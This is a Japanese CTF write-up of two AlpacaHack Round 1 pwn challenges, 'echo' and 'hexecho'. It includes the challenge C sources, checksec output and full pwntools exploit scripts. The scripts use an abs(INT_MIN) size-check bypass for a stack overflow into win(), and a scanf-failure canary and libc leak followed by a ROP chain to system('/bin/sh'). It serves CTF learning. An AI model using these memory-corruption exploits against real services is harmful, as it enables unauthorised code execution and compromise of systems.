AlpacaHack Round 1 (Pwn) の Writeup

AlpacaHack Round 1 (Pwn)

alpacahack.com

22位だった

新しいCTFプラットフォームの記念すべき第一回目.

今回はpwnだけの出題だった.

たのしかったです.

echo

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

void get_data(char *buf, unsigned size) {
  unsigned i;
  char c;

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

alpacahack.com

checksec

~/alpacahack/1/echo
❯ checksec echo 
[*] '/home/trimscash/alpacahack/1/echo/echo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

セキュリティ機構はほぼない.

ソースコードを見るとわかるように,bufの長さは固定だが,bufに入力するバイト数はユーザーが指定できるのでバッファオーバーフローがありそう.

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

get_sizeは以上のように定義されており,sizeに対してバリデートされてる.

absについて調べてみると

int バージョンの abs() の場合、使用できる最小の整数は INT_MIN+1 です。 (INT_MIN は、limits.h ヘッダー・ファイルに定義されているマクロです。) 例えば、z/OS® XL C/C++ コンパイラーの場合、INT_MIN+1 は -2147483648 です。 abs()、absf()、absl() - 整数絶対値の計算

とあるので,とりあえずINT_MINを入力してみる.すると,バリデーションを通過しBUF_SIZEの0x100よりも多く入力することができた.

あとは,NoCanary,NoPIEなのでリターンアドレスにwin関数のアドレスを入れるだけでいい.

from pwn import *

binary_name = "./echo"
remote_name = "34.170.146.252"
remote_port = 17360
io = remote(remote_name, remote_port)
# io = process(binary_name)
# io = gdb.debug(binary_name, "b main\nc\n")

elf = ELF("echo")

INT_MIN = -2147483648

io.sendlineafter(b"Size: ", str(INT_MIN).encode())

BUF_SIZE = 0x100

win = elf.symbols["win"]
payload = b"A" * BUF_SIZE + b"b" * 24 + p64(win)

io.sendlineafter(b"Data: ", payload)

io.interactive()

実行するとフラグが得られた

hexecho

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

int get_size() {
  int size = 0;
  scanf("%d%*c", &size);
  return size;
}

void get_hex(char *buf, unsigned size) {
  for (unsigned i = 0; i < size; i++)
    scanf("%02hhx", buf + i);
}

void hexecho() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data (hex): ");
  get_hex(buf, size);

  // Show data
  printf("Received: ");
  for (int i = 0; i < size; i++)
    printf("%02hhx ", (unsigned char)buf[i]);
  putchar('\n');
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  hexecho();
  return 0;
}

alpacahack.com

checksec

~/alpacahack/1/hexecho
❯ checksec hexecho 
[*] '/home/trimscash/alpacahack/1/hexecho/hexecho'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

cannaryが追加された.また配布ファイルにlibc.so.6がある.

入力は,16進数で入力するようになった.

get_sizeを見てみると,sizeに制限はない.のでバッファオーバーフローがある.がcanaryと呼ばれるセキュリティ機構が有効になっているために単純には解けない.

miso-24.hatenablog.com

get_hexに何かあるのだろう.見てみると以下のようになっている.

void get_hex(char *buf, unsigned size) {
  for (unsigned i = 0; i < size; i++)
    scanf("%02hhx", buf + i);
}

特に問題はなさそうだが,ここでg~xなどの16進数の値として無効な文字を入力したらどうなるだろうか.

~/alpacahack/1/hexecho
❯ ./hexecho
Size: 10
Data (hex): x
Received: 00 80 16 00 00 00 00 00 0c 00 

するとどうだろうか.それ以降の入力が受け付けられず,bufの初期値が見れている.これを利用すればlibcのbaseアドレスやcanaryがリークできる.

しかし入力はできないので,どうしようもない.

なぜこうなるのだろうか.それは多分,xなどの無効な文字を入力したとき,scanfは入力バッファを消費せずに失敗するからだろう.(適当) get_hexではscanfによる読み取りが成功したかどうかの判定がないために,失敗してもループが回ってしまう.これにより,無効な文字以降の入力が受け付けられず初期値を見ることができる.

では,入力バッファを消費しscanfを失敗させることはできるだろうか.

適当にそれっぽい文字を使って検証してみると..-を使ったときにそれが実現できた.

~/alpacahack/1/hexecho 11s
❯ ./hexecho           
Size: 10
Data (hex): -
-
-
a
a
a
-
-
-
-
Received: 00 80 16 0a 0a 0a 00 00 0c 00 

これを使うと,特定の場所は初期値のままにしておきながら,好きな場所に入力をすることができる.

これでいける.

手順としては以下の通り.

  • libcのリークをする.
  • mainに戻りもう一度入力できるようにする.
  • libcを使ってROPする

ROPとはretアドレスに、ある命令とret命令がセットになった,ROP Gadgetと呼ばれるコード片のアドレスをセットし,リターンを繰り返し任意のコードを実行する手法. 調べたら多分出てくるので詳しくは任せる.

book.hacktricks.xyz

以下適当に書いたきたないsolverをそのまま載せる

from pwn import *

binary_name = "./hexecho"
remote_name = "34.170.146.252"
remote_port = 51786
io = remote(remote_name, remote_port)
# io = process(binary_name)
# io = gdb.debug(binary_name, "b main\nc\n")
LIBC = ELF("./libc.so.6")


def addr_to_hexs(addr):
    payload_bytes = []
    for i in range(8):
        hex_str = "0" * (16 - len(hex(addr)[2:])) + hex(addr)[2:]
        payload_bytes.append(hex_str[i * 2 : i * 2 + 2])
    return payload_bytes[::-1]


def addr_to_hexs_bytes(addr):
    payload_bytes = []
    for i in range(8):
        hex_str = "0" * (16 - len(hex(addr)[2:])) + hex(addr)[2:]
        payload_bytes.append(hex_str[i * 2 : i * 2 + 2])
    return "".join(payload_bytes[::-1]).encode()


def hexs_str_to_addr(hexs):
    s = hexs.decode().split()[::-1]
    bs = ""
    for i in s:
        bs += i
    print(bs)
    return p64(int(bs, 16))


INT_MAX = 2147483647
BUF_SIZE = 0x100


io.sendlineafter(b"Size: ", str(BUF_SIZE + 0x30).encode())

main = 0x401327
print(addr_to_hexs(main))
payload = b"-\n" * (BUF_SIZE + 0x18) + addr_to_hexs_bytes(main) + b"x"

io.sendlineafter(b"Data (hex): ", payload)
t = io.readline()
print(t)
canary_offset = 0x28 * 0x3
canary = hexs_str_to_addr(t[-(canary_offset + 1) : -(canary_offset + 1) + 0x8 * 3])
libc_start_main_offset = 0x8 * 0x3
libc_start_main = hexs_str_to_addr(
    t[-(libc_start_main_offset + 1) : -(libc_start_main_offset + 1) + 0x8 * 3]
)

libc_setbuffer_offset = 0x8 * 0x9 * 0x3
libc_setbuffer = hexs_str_to_addr(
    t[-(libc_setbuffer_offset + 1) : -(libc_setbuffer_offset + 1) + 0x8 * 3]
)  # 1e:00f0│     0x7fffffffd028 —▸ 0x7ffff7e1357f (setbuffer+191) ◂— test dword ptr [rbx], 0x8000

print(canary)
print(libc_start_main)
print(libc_setbuffer)

libc_leak = u64(libc_setbuffer) - LIBC.symbols["setbuffer"] - 191
system = libc_leak + LIBC.symbols["system"]
pop_rdi = libc_leak + 0x1B9695  # pop rdi; ret;
bin_sh = libc_leak + 0x001D8678
ret = 0x401370

print(hex(libc_leak))

io.sendlineafter(b"Size: ", str(BUF_SIZE + 0x40).encode())

payload = b"-\n" * (BUF_SIZE + 0x18)
payload += addr_to_hexs_bytes((ret))
payload += addr_to_hexs_bytes((pop_rdi))
payload += addr_to_hexs_bytes((bin_sh))
payload += addr_to_hexs_bytes((system))
payload += b"x"


io.sendlineafter(b"Data (hex): ", payload)
t = io.readline()

io.interactive()

  • 補足

libcのアドレスは,gdbデバッグしてスタック確認し,そのアドレスを出力からリークして使おう. その際,問題の実行ファイルが使うライブラリを変更してデバッグする.以下のサイトを見るといい.

zenn.dev

zenn.dev

rop gadgetの探し方はいろいろあって以下のツールを使ったり,radare2とかを使うとよい. github.com

以上

久しぶりにCTFに参加した気がする.

次の問題のdeckで詰まった.悲しい.力が不足しているので精進します.

alpacahackはatcoderのCTF版みたいなものだと思うので,これによりこの先人口が増えればいいなと思いました.作ってくれてありがとう!つよつよ方..!

alpacahack.com

flag{hello_my_friend}